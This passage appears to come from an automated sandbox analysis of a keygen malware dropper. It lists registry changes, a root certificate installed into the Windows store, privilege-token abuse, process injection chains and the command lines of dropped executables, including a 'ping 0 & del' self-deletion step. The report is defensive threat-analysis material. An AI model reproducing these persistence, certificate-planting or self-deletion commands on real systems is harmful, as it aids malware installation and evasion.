Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	B093.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{69RG4ZP0-857P-S13A-ZW93-6DTG316B7ZWC}	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = ea3f6813b237d701	B093.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000af141126b7dc7e55b9606c48e0406f12275cb4185bd6ebb2b403610fa0a71ea2d7373e353c13c68e07ddaa2a9f0fc420accfa3d72efebbe9ae84	B093.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\""	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 1d24df8b702cd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-08760 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

filee.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	filee.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	filee.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXE

pid process

5116 PING.EXE
3576 PING.EXE
5860 PING.EXE

pid	process
5116	PING.EXE
3576	PING.EXE
5860	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

rundll32.exesvchost.exe3912625.exeultramediaburner.tmpHytysojaehae.exe

pid	process
196	rundll32.exe
196	rundll32.exe
488	svchost.exe
488	svchost.exe
632	3912625.exe
632	3912625.exe
632	ultramediaburner.tmp
632	ultramediaburner.tmp
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe
4144	Hytysojaehae.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Conhost.exe

pid process

3700 Conhost.exe

pid	process
3700	Conhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

JoSetp.exerundll32.exesvchost.exe3912625.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	3040	JoSetp.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeTcbPrivilege	488	svchost.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	196	rundll32.exe
Token: SeDebugPrivilege	632	3912625.exe
Token: SeAssignPrimaryTokenPrivilege	2660	svchost.exe
Token: SeIncreaseQuotaPrivilege	2660	svchost.exe
Token: SeSecurityPrivilege	2660	svchost.exe
Token: SeTakeOwnershipPrivilege	2660	svchost.exe
Token: SeLoadDriverPrivilege	2660	svchost.exe
Token: SeSystemtimePrivilege	2660	svchost.exe
Token: SeBackupPrivilege	2660	svchost.exe
Token: SeRestorePrivilege	2660	svchost.exe
Token: SeShutdownPrivilege	2660	svchost.exe
Token: SeSystemEnvironmentPrivilege	2660	svchost.exe
Token: SeUndockPrivilege	2660	svchost.exe
Token: SeManageVolumePrivilege	2660	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2660	svchost.exe
Token: SeIncreaseQuotaPrivilege	2660	svchost.exe
Token: SeSecurityPrivilege	2660	svchost.exe
Token: SeTakeOwnershipPrivilege	2660	svchost.exe
Token: SeLoadDriverPrivilege	2660	svchost.exe
Token: SeSystemtimePrivilege	2660	svchost.exe
Token: SeBackupPrivilege	2660	svchost.exe
Token: SeRestorePrivilege	2660	svchost.exe
Token: SeShutdownPrivilege	2660	svchost.exe
Token: SeSystemEnvironmentPrivilege	2660	svchost.exe
Token: SeUndockPrivilege	2660	svchost.exe
Token: SeManageVolumePrivilege	2660	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2660	svchost.exe
Token: SeIncreaseQuotaPrivilege	2660	svchost.exe
Token: SeSecurityPrivilege	2660	svchost.exe
Token: SeTakeOwnershipPrivilege	2660	svchost.exe
Token: SeLoadDriverPrivilege	2660	svchost.exe
Token: SeSystemtimePrivilege	2660	svchost.exe
Token: SeBackupPrivilege	2660	svchost.exe
Token: SeRestorePrivilege	2660	svchost.exe
Token: SeShutdownPrivilege	2660	svchost.exe
Token: SeSystemEnvironmentPrivilege	2660	svchost.exe
Token: SeUndockPrivilege	2660	svchost.exe
Token: SeManageVolumePrivilege	2660	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2660	svchost.exe
Token: SeIncreaseQuotaPrivilege	2660	svchost.exe
Token: SeSecurityPrivilege	2660	svchost.exe
Token: SeTakeOwnershipPrivilege	2660	svchost.exe
Token: SeLoadDriverPrivilege	2660	svchost.exe
Token: SeSystemtimePrivilege	2660	svchost.exe
Token: SeBackupPrivilege	2660	svchost.exe
Token: SeRestorePrivilege	2660	svchost.exe
Token: SeShutdownPrivilege	2660	svchost.exe
Token: SeSystemEnvironmentPrivilege	2660	svchost.exe
Token: SeUndockPrivilege	2660	svchost.exe
Token: SeManageVolumePrivilege	2660	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

ultramediaburner.tmp

pid process

632 ultramediaburner.tmp
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

xiuhuali.exeMicrosoftEdge.exegoogle-game.exeMicrosoftEdgeCP.exe

pid process

3884 xiuhuali.exe
3884 xiuhuali.exe
5008 MicrosoftEdge.exe
5080 google-game.exe
5080 google-game.exe
4788 MicrosoftEdgeCP.exe

pid	process
632	ultramediaburner.tmp

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

keygen-step-4.exexiuhuali.exerundll32.exesvchost.exeJoSetp.exe3388035.exeInstall.exeInstall.tmpUltra.exeultramediaburner.exeultramediaburner.tmpHytysojaehae.execmd.exefilee.exe

description	pid	process	target process
PID 796 wrote to memory of 3884	796	keygen-step-4.exe	xiuhuali.exe
PID 796 wrote to memory of 3884	796	keygen-step-4.exe	xiuhuali.exe
PID 796 wrote to memory of 3884	796	keygen-step-4.exe	xiuhuali.exe
PID 3884 wrote to memory of 196	3884	xiuhuali.exe	rundll32.exe
PID 3884 wrote to memory of 196	3884	xiuhuali.exe	rundll32.exe
PID 3884 wrote to memory of 196	3884	xiuhuali.exe	rundll32.exe
PID 796 wrote to memory of 3040	796	keygen-step-4.exe	JoSetp.exe
PID 796 wrote to memory of 3040	796	keygen-step-4.exe	JoSetp.exe
PID 196 wrote to memory of 488	196	rundll32.exe	svchost.exe
PID 196 wrote to memory of 2768	196	rundll32.exe	svchost.exe
PID 488 wrote to memory of 1020	488	svchost.exe	svchost.exe
PID 488 wrote to memory of 1020	488	svchost.exe	svchost.exe
PID 488 wrote to memory of 1020	488	svchost.exe	svchost.exe
PID 196 wrote to memory of 1004	196	rundll32.exe	svchost.exe
PID 196 wrote to memory of 2460	196	rundll32.exe	svchost.exe
PID 196 wrote to memory of 2424	196	rundll32.exe	svchost.exe
PID 196 wrote to memory of 1096	196	rundll32.exe	svchost.exe
PID 196 wrote to memory of 932	196	rundll32.exe	svchost.exe
PID 196 wrote to memory of 1296	196	rundll32.exe	svchost.exe
PID 3040 wrote to memory of 632	3040	JoSetp.exe	3912625.exe
PID 3040 wrote to memory of 632	3040	JoSetp.exe	3912625.exe
PID 3040 wrote to memory of 632	3040	JoSetp.exe	3912625.exe
PID 196 wrote to memory of 1764	196	rundll32.exe	svchost.exe
PID 196 wrote to memory of 1136	196	rundll32.exe	svchost.exe
PID 3040 wrote to memory of 4060	3040	JoSetp.exe	3388035.exe
PID 3040 wrote to memory of 4060	3040	JoSetp.exe	3388035.exe
PID 3040 wrote to memory of 4060	3040	JoSetp.exe	3388035.exe
PID 196 wrote to memory of 1344	196	rundll32.exe	svchost.exe
PID 196 wrote to memory of 2660	196	rundll32.exe	svchost.exe
PID 196 wrote to memory of 2688	196	rundll32.exe	svchost.exe
PID 796 wrote to memory of 192	796	keygen-step-4.exe	Install.exe
PID 796 wrote to memory of 192	796	keygen-step-4.exe	Install.exe
PID 796 wrote to memory of 192	796	keygen-step-4.exe	Install.exe
PID 4060 wrote to memory of 508	4060	3388035.exe	Windows Host.exe
PID 4060 wrote to memory of 508	4060	3388035.exe	Windows Host.exe
PID 4060 wrote to memory of 508	4060	3388035.exe	Windows Host.exe
PID 192 wrote to memory of 2272	192	Install.exe	Install.tmp
PID 192 wrote to memory of 2272	192	Install.exe	Install.tmp
PID 192 wrote to memory of 2272	192	Install.exe	Install.tmp
PID 2272 wrote to memory of 1352	2272	Install.tmp	Ultra.exe
PID 2272 wrote to memory of 1352	2272	Install.tmp	Ultra.exe
PID 1352 wrote to memory of 3972	1352	Ultra.exe	ultramediaburner.exe
PID 1352 wrote to memory of 3972	1352	Ultra.exe	ultramediaburner.exe
PID 1352 wrote to memory of 3972	1352	Ultra.exe	ultramediaburner.exe
PID 3972 wrote to memory of 632	3972	ultramediaburner.exe	ultramediaburner.tmp
PID 3972 wrote to memory of 632	3972	ultramediaburner.exe	ultramediaburner.tmp
PID 3972 wrote to memory of 632	3972	ultramediaburner.exe	ultramediaburner.tmp
PID 1352 wrote to memory of 496	1352	Ultra.exe	Mykixepeva.exe
PID 1352 wrote to memory of 496	1352	Ultra.exe	Mykixepeva.exe
PID 1352 wrote to memory of 4144	1352	Ultra.exe	Hytysojaehae.exe
PID 1352 wrote to memory of 4144	1352	Ultra.exe	Hytysojaehae.exe
PID 632 wrote to memory of 4264	632	ultramediaburner.tmp	UltraMediaBurner.exe
PID 632 wrote to memory of 4264	632	ultramediaburner.tmp	UltraMediaBurner.exe
PID 796 wrote to memory of 4300	796	keygen-step-4.exe	filee.exe
PID 796 wrote to memory of 4300	796	keygen-step-4.exe	filee.exe
PID 796 wrote to memory of 4300	796	keygen-step-4.exe	filee.exe
PID 4144 wrote to memory of 4060	4144	Hytysojaehae.exe	cmd.exe
PID 4144 wrote to memory of 4060	4144	Hytysojaehae.exe	cmd.exe
PID 4144 wrote to memory of 4560	4144	Hytysojaehae.exe	cmd.exe
PID 4144 wrote to memory of 4560	4144	Hytysojaehae.exe	cmd.exe
PID 4060 wrote to memory of 4772	4060	cmd.exe	instEU.exe
PID 4060 wrote to memory of 4772	4060	cmd.exe	instEU.exe
PID 4060 wrote to memory of 4772	4060	cmd.exe	instEU.exe
PID 4300 wrote to memory of 4792	4300	filee.exe	FD90.tmp.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2768

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2660

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2460

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1764

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1344

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1296

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1136

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1096

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:932

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:1004

C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe
"C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:796

C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3884

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
3⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:196

C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3040

C:\ProgramData\3912625.exe
"C:\ProgramData\3912625.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:632

C:\ProgramData\3388035.exe
"C:\ProgramData\3388035.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4060

C:\ProgramData\Windows Host\Windows Host.exe
"C:\ProgramData\Windows Host\Windows Host.exe"
4⤵
- Executes dropped EXE
PID:508

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:192

C:\Users\Admin\AppData\Local\Temp\is-V0RRL.tmp\Install.tmp
"C:\Users\Admin\AppData\Local\Temp\is-V0RRL.tmp\Install.tmp" /SL5="$5007E,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2272

C:\Users\Admin\AppData\Local\Temp\is-LR0HE.tmp\Ultra.exe
"C:\Users\Admin\AppData\Local\Temp\is-LR0HE.tmp\Ultra.exe" /S /UID=burnerch1
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1352

C:\Program Files\Reference Assemblies\ZOXJARTIWL\ultramediaburner.exe
"C:\Program Files\Reference Assemblies\ZOXJARTIWL\ultramediaburner.exe" /VERYSILENT
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3972

C:\Users\Admin\AppData\Local\Temp\is-7LE7K.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-7LE7K.tmp\ultramediaburner.tmp" /SL5="$4015C,281924,62464,C:\Program Files\Reference Assemblies\ZOXJARTIWL\ultramediaburner.exe" /VERYSILENT
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:632

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
7⤵
- Executes dropped EXE
PID:4264

C:\Users\Admin\AppData\Local\Temp\ff-19e7f-fcc-1aea8-815062c0329ce\Mykixepeva.exe
"C:\Users\Admin\AppData\Local\Temp\ff-19e7f-fcc-1aea8-815062c0329ce\Mykixepeva.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:496

C:\Users\Admin\AppData\Local\Temp\51-f39ef-87c-0fa85-ef8a850a0fd9b\Hytysojaehae.exe
"C:\Users\Admin\AppData\Local\Temp\51-f39ef-87c-0fa85-ef8a850a0fd9b\Hytysojaehae.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4144

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\exx3wu01.ghc\instEU.exe & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:4060

C:\Users\Admin\AppData\Local\Temp\exx3wu01.ghc\instEU.exe
C:\Users\Admin\AppData\Local\Temp\exx3wu01.ghc\instEU.exe
7⤵
- Executes dropped EXE
PID:4772

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\i0brmlca.m0e\gpooe.exe & exit
6⤵
PID:4560

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ci2ottc1.liv\google-game.exe & exit
6⤵
PID:3040

C:\Users\Admin\AppData\Local\Temp\ci2ottc1.liv\google-game.exe
C:\Users\Admin\AppData\Local\Temp\ci2ottc1.liv\google-game.exe
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:5080

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
8⤵
- Loads dropped DLL
PID:4940

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fdahrywm.tn1\skipper.exe /s & exit
6⤵
PID:4904

C:\Users\Admin\AppData\Local\Temp\fdahrywm.tn1\skipper.exe
C:\Users\Admin\AppData\Local\Temp\fdahrywm.tn1\skipper.exe /s
7⤵
- Executes dropped EXE
PID:5000

C:\Users\Admin\AppData\Local\Temp\623245301.exe
C:\Users\Admin\AppData\Local\Temp\623245301.exe
8⤵
PID:4700

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
9⤵
PID:4396

C:\Users\Admin\AppData\Local\Temp\973815459.exe
C:\Users\Admin\AppData\Local\Temp\973815459.exe
8⤵
- Executes dropped EXE
PID:4968

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\fdahrywm.tn1\skipper.exe & exit
8⤵
PID:5244

C:\Windows\SysWOW64\PING.EXE
ping 0
9⤵
- Runs ping.exe
PID:5860

C:\Windows\System32\cmd.exe
